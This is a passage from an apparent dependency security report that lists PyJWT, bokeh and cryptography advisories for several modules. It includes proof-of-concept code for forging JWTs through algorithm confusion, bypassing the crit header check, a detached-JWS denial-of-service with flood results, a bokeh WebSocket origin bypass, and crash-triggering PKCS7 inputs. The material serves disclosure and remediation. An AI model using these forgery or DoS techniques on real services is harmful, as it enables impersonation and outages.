When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
### Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
`jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) `
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm.
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
```
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
```
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
`jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) `
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier:
(a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
### PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
```
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
```
### Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
|
| PYSEC-2026-120 | 2.12.0 | connector_jira |
Show detailsPyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0.
|
| GHSA-752w-5fwx-jx9f | 2.12.0 | connector_jira |
Show details## Summary
PyJWT does not validate the `crit` (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a `crit` array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the **MUST** requirement in the RFC.
This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).
---
## RFC Requirement
RFC 7515 §4.1.11:
> The "crit" (Critical) Header Parameter indicates that extensions to this
> specification and/or [JWA] are being used that **MUST** be understood and
> processed. [...] If any of the listed extension Header Parameters are
> **not understood and supported** by the recipient, then the **JWS is invalid**.
---
## Proof of Concept
```python
import jwt # PyJWT 2.8.0
import hmac, hashlib, base64, json
# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"
# Should REJECT — x-custom-policy is not understood by PyJWT
try:
result = jwt.decode(token, "secret", algorithms=["HS256"])
print(f"ACCEPTED: {result}")
# Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
print(f"REJECTED: {e}")
```
**Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy`
**Actual:** Token accepted, payload returned.
### Comparison with RFC-compliant library
```python
# jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])
# raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')
```
---
## Impact
- **Split-brain verification** in mixed-library deployments (e.g., API
gateway using jwcrypto rejects, backend using PyJWT accepts)
- **Security policy bypass** when `crit` carries enforcement semantics
(MFA, token binding, scope restrictions)
- **Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be
silently ignored
- See CVE-2025-59420 for full impact analysis
---
## Suggested Fix
In `jwt/api_jwt.py`, add validation in `_validate_headers()` or
`decode()`:
```python
_SUPPORTED_CRIT = {"b64"} # Add extensions PyJWT actually supports
def _validate_crit(self, headers: dict) -> None:
crit = headers.get("crit")
if crit is None:
return
if not isinstance(crit, list) or len(crit) == 0:
raise InvalidTokenError("crit must be a non-empty array")
for ext in crit:
if ext not in self._SUPPORTED_CRIT:
raise InvalidTokenError(f"Unsupported critical extension: {ext}")
if ext not in headers:
raise InvalidTokenError(f"Critical extension {ext} not in header")
```
---
## CWE
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-863: Incorrect Authorization
## References
- [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11)
- [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32)
- [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800)
|
| PYSEC-2026-179 | 2.13.0 | connector_jira |
Show detailsPyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
|
| GHSA-w7vc-732c-9m39 | 2.13.0 | connector_jira |
Show details> [!NOTE]
> Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.
When verifying detached JWS tokens using the unencoded-payload option (`"b64": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules.
For `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid.
This creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT.
---
## Affected Component(s)
* `jwt/api_jws.py`
* `PyJWS.decode()` / `PyJWS.decode_complete()`
* `_load()` (parsing and Base64URL decoding)
---
## Root Cause (exact logic flaw)
### What happens in the code
In `jwt/api_jws.py`, `decode_complete()` does the following (order matters):
* Calls `_load(jwt)` first, which decodes the token segments
* Only after that, checks `header.get("b64")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input
This behavior is visible in `decode_complete()`:
* `_load(jwt)` happens **before** the `b64=false` handling
* then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1])
Inside `_load()`, PyJWT unconditionally performs:
* `payload = base64url_decode(payload_segment)`
This is the expensive step the attacker can amplify ([GitHub][1])
### Why this becomes a vulnerability
For `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning:
* cost is paid **even when signature is invalid**
* the decoded bytes are **discarded**
* attacker controls the size of this cost via token length
---
## Impact (evidence-driven)
### Security impact
* **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key.
* **CPU amplification**: Base64URL decode time scales linearly with payload segment size.
* **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request).
* **Operational impact**: request queueing / worker starvation under modest concurrency bursts.
### Standards context (RFC 7797)
RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])
(PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.)
---
## Affected Versions
* **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo).
* **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])
(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)
---
# Threat Model
### Typical real deployment
A service verifies signed HTTP requests or webhooks using detached JWS:
* token is provided in JSON body / query / header
* actual payload is the HTTP request body passed as `detached_payload`
### Attacker
* remote unauthenticated client
* can send requests to verify endpoint
* does **not** need a valid signature (invalid signature still triggers the expensive decode path)
### Attack chain
1. Attacker crafts a JWS compact token with header containing `"b64": false` and `crit:["b64"]`.
2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters.
3. Server calls `PyJWS.decode(...detached_payload=...)`.
4. PyJWT decodes the inflated segment (CPU + memory).
5. Signature is rejected afterward (401) — but resources already consumed.
6. Repeated requests or bursts cause queueing/worker starvation → DoS.
---
# Proof of Concept - file names + results
## PoC placement
* [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)
* [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)
* [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)
---
## PoC # 1 - Localhost verification server
**File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)
**Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJWT detached verification and prints:
`ok / time_ms / peak_bytes / token_len / error`.
### Results (server console output)
```text
[+] Listening on http://127.0.0.1:8000
[+] POST /verify JSON: {"token": "..."}
[127.0.0.1] ok=True time_ms=0.102 peak_bytes=2624 token_len=117 err=None
[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983 token_len=500078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=1.591 peak_bytes=2001061 token_len=500117 err=None
[127.0.0.1] ok=True time_ms=0.065 peak_bytes=2304 token_len=117 err=None
[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983 token_len=2000078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=6.347 peak_bytes=8001061 token_len=2000117 err=None
[127.0.0.1] ok=True time_ms=0.066 peak_bytes=2304 token_len=117 err=None
[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None
```
**Key takeaways from these results**
* At **8,000,000 chars**, a single invalid-signature request still causes:
* **~23 ms** server work
* **~32 MB** peak allocations
* returns **401** (invalid signature) → attacker does not need key.
---
## PoC # 2 - Localhost network client
**File:** [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)
**Purpose:** generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.
### Results (client output)
#### payload-chars = 500,000
```text
=== BASELINE (valid b64=false token) ===
HTTP: 200
client_wall_ms: 6.3499...
server_time_ms: 0.10197...
server_peak_bytes: 2624
=== ATTACK (INVALID signature - attacker needs no key) ===
HTTP: 401
client_wall_ms: 4.1010...
server_time_ms: 2.01217...
server_peak_bytes: 2000983
error: InvalidSignatureError
=== ATTACK (VALID signature - accepted path still wastes) ===
HTTP: 200
client_wall_ms: 3.6586...
server_time_ms: 1.59092...
server_peak_bytes: 2001061
```
#### payload-chars = 2,000,000
```text
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06527...
server_peak_bytes: 2304
=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 7.53430...
server_peak_bytes: 8000983
=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 6.34682...
server_peak_bytes: 8001061
```
#### payload-chars = 8,000,000
```text
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06573...
server_peak_bytes: 2304
=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 23.03403...
server_peak_bytes: 32000983
=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 22.09702...
server_peak_bytes: 32001061
```
**Why this is strong evidence**
* The server clearly does heavy work **before** rejecting invalid signatures.
* The “valid signature” case shows even accepted requests waste resources due to unused payload segment.
---
## PoC # 3 - Localhost flood / burst concurrency
**File:** [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)
**Purpose:** sends **N concurrent** invalid-signature requests over HTTP to demonstrate queueing/worker starvation.
### Results (your run: 20 concurrent @ 8,000,000 chars)
```text
total_wall_ms: 1374.5405770000616
(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')
(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')
(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')
(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')
(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')
(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')
(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')
(7, 401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')
(8, 401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')
(1, 401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')
```
**Interpretation**
* Each request still costs ~**20–23 ms** server processing and **~32 MB** peak allocations.
* But client-observed latency rises up to **~1.15 seconds** because requests queue behind each other → clear worker starvation/HoL blocking.
* All were rejected with **401 InvalidSignatureError** → still unauthenticated.
---
# Fix
### Goal
Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in `b64=false` detached flow.
### Minimal change strategy
In `_load()` (or by refactoring parse order), **do not Base64-decode `payload_segment` until after you know whether `b64=false` applies**.
Two safe options:
1. **Reject non-empty payload segment when `b64=false`**
* Parse header first
* If `b64` is false and `payload_segment` is non-empty → raise `DecodeError` *before* decoding
* Then verification uses `detached_payload` only
2. **Skip decoding payload segment entirely when `b64=false`**
* Keep payload segment as raw bytes or empty
* Use detached payload for signing input
This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.
(Implementation context: the current decode order and unconditional `base64url_decode(payload_segment)` are visible in the file and line region around `_load()` and `decode_complete()` ([GitHub][1]).)
---
# Workarounds
* Enforce strict **max token length** at the HTTP boundary (proxy/gateway).
* Apply rate limiting on verification endpoints.
* If detached JWS (`b64=false`) is not needed in your app, reject tokens where header includes `"b64": false`.
|
| bokeh==3.4.1 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-793v-589g-574v | 3.8.2 | web_widget_bokeh_chart |
Show detailsThis vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance.
### Scope
This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage.
This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks.
### Impact
If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted.
Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations.
### Patches
Patched in versions 3.8.2 and later.
### Workarounds
None
### Technical description
The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted.
Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match.
For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match:
1. `host` parts: `['example', 'com', 'bad', 'com']`
2. `pattern` parts: `['example', 'com']`
3. `zip` compares `example==example` (OK) and `com==com` (OK).
4. Iteration stops, and the function returns `True`.
|
| cryptography==36.0.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-v8gr-m533-ghj9 | 41.0.4 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | l10n_ec_account_edi |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | l10n_ec_account_edi |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2024-225 | 42.0.4 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
|
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | l10n_ec_account_edi |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| PYSEC-2023-11 | 39.0.1 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2023-254 | 41.0.6 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | l10n_ec_account_edi |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| PYSEC-2026-35 | 46.0.6 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | l10n_ec_account_edi |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | l10n_ec_account_edi |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| cryptography>=38,<39 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | connector_jira |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | connector_jira |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | connector_jira |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-v8gr-m533-ghj9 | 41.0.4 | connector_jira |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | connector_jira |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | connector_jira |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| PYSEC-2026-35 | 46.0.6 | connector_jira |
